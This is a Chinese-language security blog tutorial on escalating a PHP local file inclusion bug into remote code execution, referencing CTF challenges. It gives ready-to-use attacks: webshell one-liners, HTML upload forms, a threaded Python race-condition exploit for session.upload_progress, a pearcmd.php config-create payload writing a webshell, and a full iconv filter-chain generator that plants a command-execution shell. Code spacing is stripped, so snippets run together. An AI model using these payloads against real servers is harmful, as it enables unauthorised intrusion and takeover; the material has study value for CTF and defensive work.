当前位置:

PHP-从LFI到RCE上

访客 2024-04-24 1299 0

以下场景很常见,很多人都把他当成一个LFI,那么是否可以RCE呢,让我们来探讨一下。

<?phpinclude$_REQUEST['file'];?>

在p牛和陆队的博客都有发过类似的,笔者很菜,旨在梳理一下,大佬轻喷。

参考链接

1.https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
2.https://tttang.com/archive/1395/
3.https://tttang.com/archive/1384/

1.日志文件包含

在常规黑盒的情况下,我们通常想到的RCE方式是包含一些WEB日志文件或者系统日志文件,通过http请求去写入一些php一句话,然后包含这个文件造成getshell。

例如IIS和apache,apache一般的日志文件只有root组才能访问,我们包含不了,那么如果是IIS就可以直接写入一句话<?phpeval($_POST['cmd']);?>,然后通过包含/varl/og/apache2/access.log,就可以实现getshell。不同环境可能不同利用方式,例如thinkphp也有日志文件,是否也可以利用呢!

burp改包发送请求

可以看到在/var/log/apache2/access.log已经写入成功了

那么直接包含就可以了。

但是我们包含失败了,因为这个文件只有root才能读,www用户是读不了的,大家可以根据环境变换,可能日志文件也不是这个路径。

2.phpinfo和文件包含条件竞争

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉.

在从“PHPwritesdatatotempfile”到“phpremovestempfiles(ifany)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。

例如我们上传一个这样的文件,不管他后台有没有这个逻辑,php都会保存在一个临时文件,过了某个时间段就清理,那么我们就只能条件竞争了。

我们可以构造一个表单来上传,也可以直接在burp构造改包

<!DOCTYPEhtml><html><body><formaction="http://192.168.31.120/"method="POST"enctype="multipart/form-data"><inputtype="hidden"name="test"value="123<?phpeval($_POST['cmd']);?>"/><inputtype="file"name="file"/><inputtype="submit"value="submit"/></form></body></html>

那么我们不知道临时文件在哪,还有文件名是啥也不知道,就是形如/tmp/phpxxx,后面的xxx为随机字母和数字组合的6位数。

那么在phpinfo页面有个地方可以看到


那么就可以写脚本来条件竞争了,这里直接贴p牛的exp

windows通配符的妙用

前面的方法存在2个条件

1.存在phpinfo等可以泄露临时文件名的页面

2.网络条件好,才能让RaceCondition成功

如果目标系统是windows

PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32API来查找文件,而这个API是支持使用通配符的。

但是在php的逻辑里是不能用*?表示通配符。

实际上MSDN官方文档说明

  • DOS_STAR:即<,匹配0个以上的字符
  • DOS_QM:即>,匹配1个字符
  • DOS_DOT:即",匹配点号

那么我们的文件就变成了/tmp/php<<,构造这样一个包就可以进行rce了


我这里给个表单

<!DOCTYPEhtml><html><body><formaction="http://192.168.31.120/lfi.php"method="POST"enctype="multipart/form-data"><inputtype="hidden"name="file"value="c:\Windows\Temp\php<<"/><inputtype="file"name="upload"/><inputtype="submit"value="submit"/></form></body></html>

只需要上传一个包含php代码的任意后缀名文件就行,这种上传文件的同时利用临时文件的操作可能很难理解。这里我解释一下,lfi.php文件内容是:

<?phpinclude$_REQUEST['file'];?>

这里的<inputtype="hidden"name="file"value="c:\Windows\Temp\php<<"/>是执行一个文件包含的请求,然后上传的文件就是echomd5(1),最后这个文件会被php传到一个临时目录,路径是c:\Windows\Temp\php<<,这里的<<为windows的通配符,只有当执行include才会解释这个php过程,最后删除临时文件,这样就可以竞争成功了。

3.session.upload_progress与Session文件包含

session方法也已经广为流传,PHP中可以通过sessionprogress功能实现临时文件的写入。这种利用方式需要满足下面几个条件。

1.目标环境开启了session.upload_progress.enable选项
2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
3.请求的Cookie中包含SessionID

恰好这些都是默认开启的。这里贴个exp

importioimportrequestsimportthreadingurl='http://192.168.31.120:80/file.php'defwrite(session):data={'PHP_SESSION_UPLOAD_PROGRESS':'<?phpsystem("id");?>dotasts'}whileTrue:f=io.BytesIO(b'a'*1024*10)response=session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('dota.txt',f)})defread(session):whileTrue:response=session.get(url'?file=/var/lib/php/sessions/sess_flag')#其实这个php临时文件的目录在不同环境是不一样的if'dotasts'inresponse.text:print(response.text)breakelse:print('retry')if__name__=='__main__':session=requests.session()write=threading.Thread(target=write,args=(session,))write.daemon=Truewrite.start()read(session)

其实这个php临时文件的目录在不同环境是不一样的,我们可以根据不同的环境改一下exp

/var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID

4.Segfault遗留下TEMP文件

其实这里的lfi到rce,就在于能不能在对方服务器写入一个php代码,我们直接包含这个造成getshell,其中涉及到临时文件,日志文件,临时文件路径和名字。

前面的探讨都是在临时文件删除之前进行条件竞争,那么我们能不能让他不执行这个删除,让他异常退出,就不会删除临时文件了,这样我们直接爆破就行了。

PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。

国内的安全研究者@王一航曾发现过一个会导致PHPcrash的方法:

include'php://filter/string.strip_tags/resource=/etc/passwd';

正好用在文件包含的逻辑中。

这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。向文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白

5.pearcmd.php的巧妙利用

register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

这个register_argc_argv能干什么呢?

cli模式下,简言之,可以通过$_SERVER[‘argv’]`获得命令行参数,其中test.php

<?phpvar_dump($_SERVER['argv']);?>


web模式下

分隔符是不是&

简单的利用

<?phpvar_dump($_SERVER['argv']);$a=$_SERVER['argv'];$a[0]($a[1]);?>

pearcmd.php的神奇使用

pear文件

#!/bin/sh#firstfindwhichPHPbinarytouseiftest"x$PHP_PEAR_PHP_BIN"!="x";thenPHP="$PHP_PEAR_PHP_BIN"elseiftest"/usr/bin/php"='@'php_bin'@';thenPHP=phpelsePHP="/usr/bin/php"fifi#thenlookfortherightpearincludediriftest"x$PHP_PEAR_INSTALL_DIR"!="x";thenINCDIR=$PHP_PEAR_INSTALL_DIRINCARG="-dinclude_path=$PHP_PEAR_INSTALL_DIR"elseiftest"/usr/share/php"='@'php_dir'@';thenINCDIR=`dirname$0`INCARG=""elseINCDIR="/usr/share/php"INCARG="-dinclude_path=/usr/share/php"fifiexec$PHP-C-q$INCARG-ddate.timezone=UTC-doutput_buffering=1-dvariables_order=EGPCS-dopen_basedir=""-dsafe_mode=0-dregister_argc_argv="On"-dauto_prepend_file=""-dauto_append_file=""$INCDIR/pearcmd.php"$@"

这里解释一下代码意思,就是直接通过包含这个pearcmd.php文件,然后联合register_argc_argv获取命令行参数,直接通过pear的命令config-create写入了一句话木马。

需要注意的是:当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php

这里直接给出payload吧

/test.php?config-create/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>/tmp/hello.php

6.利用phpiconvfilter配合base64进行rce

路队文章写的很清楚了,hxpCTF2021-TheEndOfLFI?

在PHP中,我们可以利用PHPBase64Filter宽松的解析,通过iconvfilter等编码组合构造出特定的PHP代码进而完成无需临时文件的RCE。

大家是否记得利用filter绕过死亡exit,就是由于<?phpexit;?>加在了我们写入的文件前面,导致写入一句话也不能执行。

但是phpbase64encode会自动把这些非法字符去掉。

合法字符只有A-Za-z0-9\/\=\,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的。

那么之前的就变成了phpexit,这里只有7个字符,我们加一个a,就可以完全解码了,题目如下:

<?php$filename=$_GET['filename'];$content=$_GET['content'];file_put_contents($filename,"<?phpexit();".$content);

直接贴payload吧

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==//内容变为phpexitaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==解码就是¦^ÆZ<?phpeval($_POST[a]);

因为我们可以控制file_put_contents写入的协议,那么我们用filterbase64的宽松解码进行绕过了。

直接给路队的exp吧

<?php$base64_payload="PD89YCRfR0VUWzBdYDs7Pz4";$conversions=array('R'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C'=>'convert.iconv.UTF8.CSISO2022KR','8'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0'=>'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4'=>'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2');$filters="convert.base64-encode|";#makesuretogetridofanyequalsignsinboththestringwejustgeneratedandtherestofthefile$filters.="convert.iconv.UTF8.UTF7|";foreach(str_split(strrev($base64_payload))as$c){$filters.=$conversions[$c]."|";$filters.="convert.base64-decode|";$filters.="convert.base64-encode|";$filters.="convert.iconv.UTF8.UTF7|";}$filters.="convert.base64-decode";$final_payload="php://filter/{$filters}/resource=/etc/passwd";//服务器任意存在文件就行echofile_get_contents("http://www.xxx.com/file.php?file=".urlencode($final_payload)."&0=id");//hexdump//00000000737472696e672831382920223c3f3d60|string(18)"<?=`|//00000010245f4745545b305d603b3b3f3e18220a|$_GET[0]`;;?>.".|

7.总结

利用include$_REQUEST['file']的lfi本地文件包含,就是包含一个含有php代码的文件,不限制后缀名,也可以临时文件进行条件竞争,当然php是神奇的语言,有伪协议还有fastcgi,还有auto_prepend_file的参数,内存错误异常退出,甚至可以去看php底层代码,这些特性还有很多,值得我们探索。

接下来我们可以从几道ctf题来看一下lfi到rce。

1.36c3webincluder
2.hxpCTF2021-ANewNovelLFI
3.hxpCTF2021-TheEndOfLFI?
4.HFCTF2022Webezphp

发表评论

  • 评论列表
还没有人评论,快来抢沙发吧~